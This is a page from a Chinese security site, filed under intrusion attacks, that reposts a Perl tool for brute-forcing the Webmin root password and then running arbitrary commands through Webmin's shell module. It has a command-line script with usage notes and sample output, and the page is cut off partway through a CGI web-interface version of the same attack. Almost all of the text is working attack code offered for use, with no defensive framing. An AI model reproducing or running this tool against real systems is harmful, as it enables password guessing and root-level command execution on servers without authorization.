执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
给IIS Web服务器装上一把锁
加固Wind2003平台的WEB服务器
XML Web站点开发要保证安全性
识别常见Web应用安全漏洞 有效防止
建立安全模型 保障Web数据库安全运
在ASP.NET中创建安全Web站点
Web安全性问题的层次关系分析
包嗅探器、Web欺骗、phishing和按键
基于Webshell的sniffer可行性研究
如何寻找WEB程序漏洞及如何利用和防
Webmin 暴力破解+ 执行命令
作者:佚名 来源:安全在线 更新时间:2007-8-1 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

编者:Webmin是一个广泛使用的,运行在linux/unix下,用浏览器来管理系统的工具。用它,你不必知道复杂的命令行,也不用了解各种复杂的配置文件,系统管理变得非常简单!可以设置帐号,配置DNS和文件共享等.

_blank>Webmin BruteForce + Command execution v1.5

#!/usr/bin/perl

################################################################################

# Webmin BruteForce + Command execution

# v1.0:By Di42lo  - DiAblo_2@012.net.il

# v1.5:By ZzagorR - zzagorrzzagorr@hotmail.com - www.rootbinbash.com

################################################################################

#add script:

#1.wordlist func.

#2.log           (line:41)

################################################################################

# usage:

# ./webmin1.pl <host> <command> <wordlist>

#./webmin1.pl 192.168.0.5 "uptime" wordlist.txt

# [+] BruteForcing...

# [+] trying to enter with: admim

# [+] trying to enter with: admin

# [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb

# [+] Password : admin

# [+] Connecting to host once again

# [+] Connected.. Sending Buffer

# [+] Buffer sent...running command uptime

# root logged into Webmin 1.170 on linux (SuSE Linux 9.1)

# 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01

################################################################################

use IO::Socket;

if (@ARGV<3){

  print "Webmin BruteForcer v1.5\n";

  print "usage:\n";

  print "   webmin15.pl <host> <command> <wordlist>\n";

  print "example:\n";

  print "   webmin15.pl www.abcd.com \"id\" wordlist.txt\n";

  exit;

}

my $host=$ARGV[0];

my $cmd=$ARGV[1];

my $wlist=$ARGV[2];

open (data, "$wlist");

@wordlist=<data>;

close data;

$passx=@wordlist;

open(results , ">$host.log");

print results "#############################\n";

print results "Webmin BruteForce + Command execution v1.5\n";

print results "Host:$host\n";

print results "#############################\n";

my $chk=0;

my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",

PeerPort => "10000",Timeout  => 10);

if(!$sock){

  print "[-] Webmin on this host does not exist\n";

  print results "[-] Webmin on this host does not exist\n";

  exit;

}else{

  $sock->close;

  print "[+] BruteForcing...\n";

}

my $sid;

$n=0;

while ($chk!=1) {

  $n++;

  if($n>$passx){

    exit;

  }

  $pass=@wordlist[$passx-$n];

  my $pass_line="page=%2F&user=root&pass=$pass";

  my $buffer="POST /session_login.cgi HTTP/1.0\n".

             "Host: $host:10000\n".

             "Keep-Alive: 300\n".

             "Connection: keep-alive\n".

             "Referer: http://$host:10000/\n".

             "Cookie: testing=1\n".

             "Content-Type: application/x-www-form-urlencoded\n".

             "Content-Length: __\n".

             "\n".

  $pass_line."\n\n";

  my $line_size=length($pass_line);

  $buffer=~s/__/$line_size/g;

  my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",

PeerPort => "10000",Timeout  => 10);

  if ($sock){

     print "[+] trying to enter with: $pass\n";

     print $sock $buffer;

     while ($answer=<$sock>){

        if ($answer=~/sid=(.*);/g){

           $chk=1;

           $sid=$1;

           print "[+] Found SID : $sid\n";

           print "[+] Password : $pass\n";

           print results "[+]:Password:$pass\nSid:$sid\n";

        }

     }

  }

  $sock->close;

  print results "[-]$pass\n";

}

print "[+] Connecting to host once again\n";

$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort

=> "10000",Timeout  => 10);

if(!$sock){

  print "[-] Cant Connect once again for command execution\n";

  print results "[-] Cant Connect once again for command execution\n";

}

print "[+] Connected.. Sending Buffer\n";

my $temp="-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"cmd\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"pwd\"\n".

        "\n".

        "/root\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"history\"\n".

        "\n".

        "\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"previous\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"pcmd\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604--\n\n";

my $buffer_size=length($temp);

$buffer="POST /shell/index.cgi HTTP/1.1\n".

       "Host: $host:10000\n".

       "Keep-Alive: 300\n".

       "Connection: keep-alive\n".

       "Referer: http://$host:10000/shell/\n".

       "Cookie: sid=$sid\; testing=1; x\n".

       "Content-Type: multipart/form-data;

boundary=---------------------------19777347561180971495777867604\n".

       "Content-Length: siz\n".

       "\n".

$temp;

$buffer=~s/siz/$buffer_size/g;

print $sock $buffer;

if ($sock){

  print "[+] Buffer sent...running command $cmd\n";

  print $sock $buffer;

  while ($answer=<$sock>){

     if ($answer=~/defaultStatus="(.*)";/g) { print $1."\n";}

     if ($answer=~/<td><pre><b>>/g){

        $cmd_chk=1;

     }

     if ($cmd_chk==1) {

        if ($answer=~/<\/pre><\/td><\/tr>/g){

           exit;

        } else {

           print $answer;

           print results "[+]$answer\n";

        }

     }

  }

}
#!/usr/bin/perl



use CGI qw(:standard);

use IO::Socket;

$CGI::HEADERS_ONCE = 1;

$CGI = new CGI;



$atak = $CGI->param("atak");

$host = $CGI->param("host");

$wlist = $CGI->param("wlist");

$cmd = $CGI->param("cmd");



print $CGI->header(-type=>'text/html',-charset=>'windows-1254');

print qq~<html><head><meta http-equiv=Content-Type" content=text/html;

charset=ISO-8859-9><title>Webmin Web Brute Force v1.5 - cgi

versiyon</title></head>

<body bgcolor=black text=red>Webmin Web Brute Force v1.5 - cgi versiyon<br>

<font color=blue>

Webmin BruteForce + Command execution- cgi version<br>

v1.0:By Di42lo  - DiAblo_2@012.net.il<br>

v1.5:By ZzagorR - zzagorrzzagorr@hotmail.com - www.rootbinbash.com<br>

</font>~;

if($atak eq "webmin") {

  open (data, "$wlist");

  @wordlist=<data>;

  close data;

  $passx=@wordlist;

  $chk=0;

  $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",

PeerPort => "10000",Timeout  => 25) || die "[-] Webmin on this host does not

exist\r\n";

  $sock->close;

  print "[+] BruteForcing...<br>";

  $sid;

  $n=0;

  while ($chk!=1) {

     $n++;

     if($n>$passx){

       exit;

     }

     $pass=@wordlist[$passx-$n];

     $pass_line="page=%2F&user=root&pass=$pass";

     $buffer="POST /session_login.cgi HTTP/1.0\n".

     "Host: $host:10000\n".

     "Keep-Alive: 300\n".

     "Connection: keep-alive\n".

     "Referer: http://$host:10000/\n".

     "Cookie: testing=1\n".

     "Content-Type: application/x-www-form-urlencoded\n".

     "Content-Length: __\n".

     "\n".

     $pass_line."\n\n";

     $line_size=length($pass_line);

     $buffer=~s/__/$line_size/g;

     $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",

PeerPort => "10000",Timeout  => 25);

     if ($sock){

        print "[+] Denenen sifre: $pass<br>";

        print $sock $buffer;

        while ($answer=<$sock>){

              if ($answer=~/sid=(.*);/g){

                 $chk=1;

                 $sid=$1;

                 print "[+] Found SID : $sid<br>";

                 print "[+] Sifre : $pass<br>";

              }

        }

     }

     $sock->close;

}

print "[+] Connecting to host once again<br>";

$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort

=> "10000",Timeout  => 10) || die "[-] Cant Connect once again for command

execution\n";

print "[+] Connected.. Sending Buffer<br>";

$temp="-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"cmd\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"pwd\"\n".

        "\n".

        "/root\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"history\"\n".

        "\n".

        "\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"previous\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604\n".

        "Content-Disposition: form-data; name=\"pcmd\"\n".

        "\n".

        "$cmd\n".

        "-----------------------------19777347561180971495777867604--\n\n";

$buffer_size=length($temp);

$buffer="POST /shell/index.cgi HTTP/1.1\n".

       "Host: $host:10000\n".

       "Keep-Alive: 300\n".

       "

[1] [2] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号